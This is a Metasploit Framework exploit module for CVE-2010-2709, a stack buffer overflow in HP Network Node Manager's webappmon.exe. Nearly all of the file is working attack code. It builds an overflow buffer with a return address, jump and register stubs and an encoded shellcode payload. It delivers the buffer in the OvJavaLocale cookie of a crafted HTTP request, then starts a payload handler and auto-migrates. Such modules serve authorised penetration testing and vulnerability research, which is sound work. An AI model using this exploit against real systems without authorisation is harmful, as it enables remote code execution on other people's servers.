##
# $Id: hp_nnm_webappmon_ovjavalocale.rb 12087 2011-03-23 03:39:12Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'        => "HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow",
      'Description' => %q{
        This module exploits a stack-based overflow in HP NNM's webappmon.exe.
        The vulnerability occurs when a long string of data is sent as OvJavaLocale's
        cookie value, OvWww.dll fails to properly do any bounds checking before this
        input is parsed in function OvWwwDebug(), which causes an overflow when
        sprintf_new() is called.
      '},
      'License'    => MSF_LICENSE,
      'Version'    => "$Revision: 12087 $",
      'Author'      =>
        [
          'Nahuel Riva',
          'sinn3r'
        ],
      'References' =>
        [
          ['CVE', '2010-2709'],
          ['OSVDB', '66932'],
          ['OSVDB', 'http://www.coresecurity.com/content/hp-nnm-ovjavalocale-buffer-overflow'],
        ],
      'Payload'   =>
        {
          'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "\x7f",
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
          'EncoderOptions' => { "BufferRegister"=>"ECX"  }
        },
      'DefaultOptions' =>
        {
          'ExitFunction' => "seh",
          "AutoRunScript" => "migrate -f",
        },
      'Platform' => 'win',
      'Targets'   =>
        [
          [ 'Windows Server 2003 Enterprise', {'Ret'=>0x5A30532D} ],
        ],
      'Privileged'  => false,
      'DisclosureDate' => "Aug 3 2010"))

      register_options(
        [
          Opt::RPORT(80),
        ], self.class)
  end

  def exploit

    nops = make_nops(1000)*10

    sploit  = nops[0, 7044]        #Padding
    sploit << "\x74\x20\x42\x42"    #JE jump 0x20 bytes
    sploit << [target.ret].pack('V')  #POP/POP/RET
    sploit << nops[0, 26]        #Padding
    sploit << "\x61"*13          #POPAD x 13
    sploit << "\x51"          #PUSH ECX
    sploit << "\xc3"          #RETN
    sploit << nops[0, 31]        #Padding
    sploit << payload.encoded      #Payload
    sploit << nops[0, 10000-sploit.length]

    connect

    print_status("Sending malicious request...")
    send_request_raw({
      "uri"     => "/OvCgi/webappmon.exe",
      "data"    => "ins=nowait&sel=A&appB=&actC=&arg=&help=&cache=1600",
      "version" => "1.1",
      "method"  => "GET",
      "headers" => {
        "Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language" => "en-us,en;q=0.5",
        "Accept-Encoding" => "gzip,deflate",
        "Accept-Charset" => "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
        "Keep-Alive" => "300",
        "Connection" => "keep-alive",
        "Cookie" => "OvJavaLocale=#{sploit}.Cp1252;OvWebSession=14150:AnyUser%3a",
        "Cache-Control" => "max-age=0"
      }
    }, 2)

    handler
    disconnect

  end
end